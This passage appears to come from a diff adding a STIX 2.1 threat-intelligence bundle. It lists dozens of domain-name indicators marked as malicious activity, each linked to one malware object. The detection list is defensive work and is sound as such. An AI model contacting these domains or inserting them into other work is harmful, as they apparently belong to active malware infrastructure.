"type": "relationship", + "spec_version": "2.1", + "id": "relationship--bfd06a9b-e37e-452f-9968-990929e956fc", + "created": "2023-03-29T12:58:44.57133Z", + "modified": "2023-03-29T12:58:44.57133Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5425646-6495-4321-91fc-dea438feafda", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--be2db942-f197-42db-8ee0-ba2f18dabf70", + "created": "2023-03-29T12:58:44.571498Z", + "modified": "2023-03-29T12:58:44.571498Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='freehanddurably.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.571498Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f06481bb-808f-42a5-9531-4788009b78d5", + "created": "2023-03-29T12:58:44.57209Z", + "modified": "2023-03-29T12:58:44.57209Z", + "relationship_type": "indicates", + "source_ref": "indicator--be2db942-f197-42db-8ee0-ba2f18dabf70", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7051cef1-ab07-451b-afbc-8f438ee36b16", + "created": "2023-03-29T12:58:44.572258Z", + "modified": "2023-03-29T12:58:44.572258Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='washingdefiling.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.572258Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec4c04c3-a31b-4758-9dc8-a647b024d6e3", + "created": "2023-03-29T12:58:44.572852Z", + "modified": "2023-03-29T12:58:44.572852Z", + "relationship_type": "indicates", + "source_ref": "indicator--7051cef1-ab07-451b-afbc-8f438ee36b16", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--878647bb-3ddf-4bcc-a790-6d529e5ee4ad", + "created": "2023-03-29T12:58:44.57302Z", + "modified": "2023-03-29T12:58:44.57302Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='click-grid.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.57302Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--74025650-df53-4bab-bceb-42b6a3da1989", + "created": "2023-03-29T12:58:44.57362Z", + "modified": "2023-03-29T12:58:44.57362Z", + "relationship_type": "indicates", + "source_ref": "indicator--878647bb-3ddf-4bcc-a790-6d529e5ee4ad", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--08a8251e-7274-4e57-9c59-3fff1087a74f", + "created": "2023-03-29T12:58:44.57379Z", + "modified": "2023-03-29T12:58:44.57379Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='oxidizingmoistness.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.57379Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--72d51920-b11e-40f5-b383-0d5dec204e34", + "created": "2023-03-29T12:58:44.574392Z", + "modified": "2023-03-29T12:58:44.574392Z", + "relationship_type": "indicates", + "source_ref": "indicator--08a8251e-7274-4e57-9c59-3fff1087a74f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--869f1076-0e4e-4811-a5c3-533d2eff0024", + "created": "2023-03-29T12:58:44.574559Z", + "modified": "2023-03-29T12:58:44.574559Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sindo-news.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.574559Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4d93476d-e783-4050-80b3-bbc0b1efd646", + "created": "2023-03-29T12:58:44.575261Z", + "modified": "2023-03-29T12:58:44.575261Z", + "relationship_type": "indicates", + "source_ref": "indicator--869f1076-0e4e-4811-a5c3-533d2eff0024", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8009583-b885-4d01-ad40-a13b51bcd284", + "created": "2023-03-29T12:58:44.575434Z", + "modified": "2023-03-29T12:58:44.575434Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='temnpo.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.575434Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--96802b99-67e8-40e5-b38c-12fba7170d80", + "created": "2023-03-29T12:58:44.576018Z", + "modified": "2023-03-29T12:58:44.576018Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8009583-b885-4d01-ad40-a13b51bcd284", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ca72627-d701-40e7-82a5-9fe6ee12f10b", + "created": "2023-03-29T12:58:44.576185Z", + "modified": "2023-03-29T12:58:44.576185Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='playsetmonastery.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.576185Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4e84c379-f980-48b8-a7d0-89532558bfbe", + "created": "2023-03-29T12:58:44.576779Z", + "modified": "2023-03-29T12:58:44.576779Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ca72627-d701-40e7-82a5-9fe6ee12f10b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--078d9803-d5fa-4cd5-89c0-4f90e87b6e43", + "created": "2023-03-29T12:58:44.576947Z", + "modified": "2023-03-29T12:58:44.576947Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='streetcontainer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.576947Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b34d6ad6-ac9d-41f4-aba6-1124fe182cf0", + "created": "2023-03-29T12:58:44.577545Z", + "modified": "2023-03-29T12:58:44.577545Z", + "relationship_type": "indicates", + "source_ref": "indicator--078d9803-d5fa-4cd5-89c0-4f90e87b6e43", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9aae4909-9e3a-4023-9c56-46b4d7d6d58a", + "created": "2023-03-29T12:58:44.577713Z", + "modified": "2023-03-29T12:58:44.577713Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reassurewidely.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.577713Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--54ea5c00-9a0c-4183-b8e9-b27c25cebe99", + "created": "2023-03-29T12:58:44.578306Z", + "modified": "2023-03-29T12:58:44.578306Z", + "relationship_type": "indicates", + "source_ref": "indicator--9aae4909-9e3a-4023-9c56-46b4d7d6d58a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8fbabca9-cb15-4795-b356-5f27d8d6928c", + "created": "2023-03-29T12:58:44.578474Z", + "modified": "2023-03-29T12:58:44.578474Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cadmiumworst.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.578474Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d1769044-d0e3-4ad7-944f-b78599987345", + "created": "2023-03-29T12:58:44.579061Z", + "modified": "2023-03-29T12:58:44.579061Z", + "relationship_type": "indicates", + "source_ref": "indicator--8fbabca9-cb15-4795-b356-5f27d8d6928c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7fb6bf4b-1674-4e84-a77c-f97e2fc24548", + "created": "2023-03-29T12:58:44.579226Z", + "modified": "2023-03-29T12:58:44.579226Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='randomtwotree.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.579226Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--94677f84-bf81-4f60-bcdc-757d3f4bafbd", + "created": "2023-03-29T12:58:44.579812Z", + "modified": "2023-03-29T12:58:44.579812Z", + "relationship_type": "indicates", + "source_ref": "indicator--7fb6bf4b-1674-4e84-a77c-f97e2fc24548", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8e8ff3b-da57-4d47-b2cf-35ba1ccf6bbc", + "created": "2023-03-29T12:58:44.579977Z", + "modified": "2023-03-29T12:58:44.579977Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='steakpart.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.579977Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--30deec46-c9cc-484c-92e3-e2d57b9b1a7e", + "created": "2023-03-29T12:58:44.580564Z", + "modified": "2023-03-29T12:58:44.580564Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8e8ff3b-da57-4d47-b2cf-35ba1ccf6bbc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--259c37f4-21a9-4b14-8f64-ba9e69ce28e6", + "created": "2023-03-29T12:58:44.580734Z", + "modified": "2023-03-29T12:58:44.580734Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kilobytejaybird.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.580734Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--755763db-115e-414c-8727-a5084f1c0afa", + "created": "2023-03-29T12:58:44.581331Z", + "modified": "2023-03-29T12:58:44.581331Z", + "relationship_type": "indicates", + "source_ref": "indicator--259c37f4-21a9-4b14-8f64-ba9e69ce28e6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3986164e-08f8-47a7-8470-045f26d10edf", + "created": "2023-03-29T12:58:44.581499Z", + "modified": "2023-03-29T12:58:44.581499Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='broomwashday.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.581499Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f008026f-40e4-4456-99ce-e42b08186880", + "created": "2023-03-29T12:58:44.582209Z", + "modified": "2023-03-29T12:58:44.582209Z", + "relationship_type": "indicates", + "source_ref": "indicator--3986164e-08f8-47a7-8470-045f26d10edf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a44ac6e4-3904-4a97-b963-fe871e3f1373", + "created": "2023-03-29T12:58:44.582381Z", + "modified": "2023-03-29T12:58:44.582381Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pluraldumbness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.582381Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75b62518-1fad-4912-ba8f-2a09c2041554", + "created": "2023-03-29T12:58:44.582974Z", + "modified": "2023-03-29T12:58:44.582974Z", + "relationship_type": "indicates", + "source_ref": "indicator--a44ac6e4-3904-4a97-b963-fe871e3f1373", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9aabbf0c-ebcb-4f2d-b03d-e068d446642c", + "created": "2023-03-29T12:58:44.583143Z", + "modified": "2023-03-29T12:58:44.583143Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='classicwallets.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.583143Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4b8b1094-cce9-4ac2-b9a7-a475e045ded9", + "created": "2023-03-29T12:58:44.583731Z", + "modified": "2023-03-29T12:58:44.583731Z", + "relationship_type": "indicates", + "source_ref": "indicator--9aabbf0c-ebcb-4f2d-b03d-e068d446642c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2cd2d2c3-045c-4421-9b07-7d6323d98c9e", + "created": "2023-03-29T12:58:44.583899Z", + "modified": "2023-03-29T12:58:44.583899Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='enjoyablyunrobed.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.583899Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c93410f5-dbdb-4cb3-b33f-399d30836f95", + "created": "2023-03-29T12:58:44.584489Z", + "modified": "2023-03-29T12:58:44.584489Z", + "relationship_type": "indicates", + "source_ref": "indicator--2cd2d2c3-045c-4421-9b07-7d6323d98c9e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c7a47b43-8692-4d00-beff-2178dfc85d61", + "created": "2023-03-29T12:58:44.584656Z", + "modified": "2023-03-29T12:58:44.584656Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='foldedcups.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.584656Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f19748f-5e65-4c97-87b8-ec5424dfe522", + "created": "2023-03-29T12:58:44.585241Z", + "modified": "2023-03-29T12:58:44.585241Z", + "relationship_type": "indicates", + "source_ref": "indicator--c7a47b43-8692-4d00-beff-2178dfc85d61", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ecdd2d58-03cf-44af-a629-7ff2e0be9cdd", + "created": "2023-03-29T12:58:44.585408Z", + "modified": "2023-03-29T12:58:44.585408Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='busilysustained.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.585408Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6edf75ce-a30e-4ba6-9b75-3d42e1e125f1", + "created": "2023-03-29T12:58:44.58601Z", + "modified": "2023-03-29T12:58:44.58601Z", + "relationship_type": "indicates", + "source_ref": "indicator--ecdd2d58-03cf-44af-a629-7ff2e0be9cdd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab54b466-c218-4e7a-b61f-b314cb8e7cac", + "created": "2023-03-29T12:58:44.586178Z", + "modified": "2023-03-29T12:58:44.586178Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='saidchant.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.586178Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bf41e877-db16-48d0-b034-5b6f9fa198b8", + "created": "2023-03-29T12:58:44.586769Z", + "modified": "2023-03-29T12:58:44.586769Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab54b466-c218-4e7a-b61f-b314cb8e7cac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2108a425-7b8d-4cc4-a533-a8dbcfee5965", + "created": "2023-03-29T12:58:44.586938Z", + "modified": "2023-03-29T12:58:44.586938Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='companionexcavator.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.586938Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--482646f6-dc0c-4947-afc9-6920a0080b0d", + "created": "2023-03-29T12:58:44.587536Z", + "modified": "2023-03-29T12:58:44.587536Z", + "relationship_type": "indicates", + "source_ref": "indicator--2108a425-7b8d-4cc4-a533-a8dbcfee5965", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ac7ddd6b-6629-4842-896c-050a1f7b9c07", + "created": "2023-03-29T12:58:44.587706Z", + "modified": "2023-03-29T12:58:44.587706Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='breachresonate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.587706Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1b7347df-6a2b-4172-8615-5a1e4d73ad1b", + "created": "2023-03-29T12:58:44.588303Z", + "modified": "2023-03-29T12:58:44.588303Z", + "relationship_type": "indicates", + "source_ref": "indicator--ac7ddd6b-6629-4842-896c-050a1f7b9c07", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--71991c76-aa42-4cf8-b890-5fb67fbd572c", + "created": "2023-03-29T12:58:44.58847Z", + "modified": "2023-03-29T12:58:44.58847Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hushgreenplate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.58847Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--265c4f84-cab6-438a-a028-fe8ede200bdc", + "created": "2023-03-29T12:58:44.589177Z", + "modified": "2023-03-29T12:58:44.589177Z", + "relationship_type": "indicates", + "source_ref": "indicator--71991c76-aa42-4cf8-b890-5fb67fbd572c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fff97283-1d9d-4b61-85ba-cf0ed984bfba", + "created": "2023-03-29T12:58:44.589349Z", + "modified": "2023-03-29T12:58:44.589349Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='steersmanaerospace.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.589349Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6db6363e-c7ae-496c-9776-090c1c25daa7", + "created": "2023-03-29T12:58:44.589955Z", + "modified": "2023-03-29T12:58:44.589955Z", + "relationship_type": "indicates", + "source_ref": "indicator--fff97283-1d9d-4b61-85ba-cf0ed984bfba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--82e87506-b4c3-41aa-b906-b3dfb2c94618", + "created": "2023-03-29T12:58:44.590124Z", + "modified": "2023-03-29T12:58:44.590124Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='humorlesscharity.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.590124Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34a01547-134f-420e-8b4c-2ec7a24c607a", + "created": "2023-03-29T12:58:44.59072Z", + "modified": "2023-03-29T12:58:44.59072Z", + "relationship_type": "indicates", + "source_ref": "indicator--82e87506-b4c3-41aa-b906-b3dfb2c94618", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1297f488-9463-4653-95f6-838cd2b866c7", + "created": "2023-03-29T12:58:44.590892Z", + "modified": "2023-03-29T12:58:44.590892Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='concealquirk.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.590892Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--62c8c721-6420-4b75-9da9-2827dd8b387f", + "created": "2023-03-29T12:58:44.591484Z", + "modified": "2023-03-29T12:58:44.591484Z", + "relationship_type": "indicates", + "source_ref": "indicator--1297f488-9463-4653-95f6-838cd2b866c7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42b8e96d-1254-4d85-b516-3085a419c836", + "created": "2023-03-29T12:58:44.591655Z", + "modified": "2023-03-29T12:58:44.591655Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='conducivesquash.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.591655Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--763c1fb2-e4dc-4886-8f25-75870dffe769", + "created": "2023-03-29T12:58:44.592246Z", + "modified": "2023-03-29T12:58:44.592246Z", + "relationship_type": "indicates", + "source_ref": "indicator--42b8e96d-1254-4d85-b516-3085a419c836", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9fee1bd0-fa37-4b90-b9f9-0772296bccb0", + "created": "2023-03-29T12:58:44.592413Z", + "modified": "2023-03-29T12:58:44.592413Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sulphurictwentieth.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.592413Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14cfefd4-967a-46bc-9615-c02f312b80d2", + "created": "2023-03-29T12:58:44.593007Z", + "modified": "2023-03-29T12:58:44.593007Z", + "relationship_type": "indicates", + "source_ref": "indicator--9fee1bd0-fa37-4b90-b9f9-0772296bccb0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94cb2657-e31a-429c-943b-4dfa062619de", + "created": "2023-03-29T12:58:44.593173Z", + "modified": "2023-03-29T12:58:44.593173Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='discovertrimester.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.593173Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fd968827-bb2d-4483-88b3-a8b23ecd925a", + "created": "2023-03-29T12:58:44.593777Z", + "modified": "2023-03-29T12:58:44.593777Z", + "relationship_type": "indicates", + "source_ref": "indicator--94cb2657-e31a-429c-943b-4dfa062619de", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d9ca86b-6aff-4269-a3cf-abb0fa0b95d3", + "created": "2023-03-29T12:58:44.593945Z", + "modified": "2023-03-29T12:58:44.593945Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pallaverde.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.593945Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--71774aa3-0b4d-4c33-ada4-9fe29491f6b6", + "created": "2023-03-29T12:58:44.594539Z", + "modified": "2023-03-29T12:58:44.594539Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d9ca86b-6aff-4269-a3cf-abb0fa0b95d3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1efd5466-d266-41d6-a24e-f6bfbba77e9a", + "created": "2023-03-29T12:58:44.594708Z", + "modified": "2023-03-29T12:58:44.594708Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uninstallhandsaw.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.594708Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6a49135a-cdea-4b43-a7fb-4ffbb647358c", + "created": "2023-03-29T12:58:44.595303Z", + "modified": "2023-03-29T12:58:44.595303Z", + "relationship_type": "indicates", + "source_ref": "indicator--1efd5466-d266-41d6-a24e-f6bfbba77e9a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--50827ce9-23c4-456b-b682-7dd7a8f2f47c", + "created": "2023-03-29T12:58:44.595472Z", + "modified": "2023-03-29T12:58:44.595472Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hackedhalved.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.595472Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd1eb52b-1861-4767-8343-3980f5cc2940", + "created": "2023-03-29T12:58:44.596173Z", + "modified": "2023-03-29T12:58:44.596173Z", + "relationship_type": "indicates", + "source_ref": "indicator--50827ce9-23c4-456b-b682-7dd7a8f2f47c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0b910b60-d82e-4f02-a263-9c8eb99ae942", + "created": "2023-03-29T12:58:44.596344Z", + "modified": "2023-03-29T12:58:44.596344Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='escargotjustness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.596344Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--455a133a-1f38-498a-94ee-775ea928c896", + "created": "2023-03-29T12:58:44.596939Z", + "modified": "2023-03-29T12:58:44.596939Z", + "relationship_type": "indicates", + "source_ref": "indicator--0b910b60-d82e-4f02-a263-9c8eb99ae942", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b63f812b-7b2b-49a0-941e-976fcbac511c", + "created": "2023-03-29T12:58:44.597107Z", + "modified": "2023-03-29T12:58:44.597107Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pawingeverglade.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.597107Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2d85b9f-daf6-439b-91b8-784f50ead856", + "created": "2023-03-29T12:58:44.597712Z", + "modified": "2023-03-29T12:58:44.597712Z", + "relationship_type": "indicates", + "source_ref": "indicator--b63f812b-7b2b-49a0-941e-976fcbac511c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--800bbd3f-b019-48d2-a1ec-955c980967c8", + "created": "2023-03-29T12:58:44.59788Z", + "modified": "2023-03-29T12:58:44.59788Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ferretblooper.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.59788Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c01e18f2-a7a9-46fd-8823-5b92e65f4baa", + "created": "2023-03-29T12:58:44.598469Z", + "modified": "2023-03-29T12:58:44.598469Z", + "relationship_type": "indicates", + "source_ref": "indicator--800bbd3f-b019-48d2-a1ec-955c980967c8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--edc8a0e5-d435-4ddb-ae0c-022471f87fe7", + "created": "2023-03-29T12:58:44.598636Z", + "modified": "2023-03-29T12:58:44.598636Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unwillingscheme.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.598636Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f52a25e3-0907-436e-bc94-a70effcb73fc", + "created": "2023-03-29T12:58:44.599229Z", + "modified": "2023-03-29T12:58:44.599229Z", + "relationship_type": "indicates", + "source_ref": "indicator--edc8a0e5-d435-4ddb-ae0c-022471f87fe7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cd290b4e-a6f2-4ecb-8350-4b2dd30291da", + "created": "2023-03-29T12:58:44.599396Z", + "modified": "2023-03-29T12:58:44.599396Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chuggranddad.com']", + "pattern_type": "stix", + 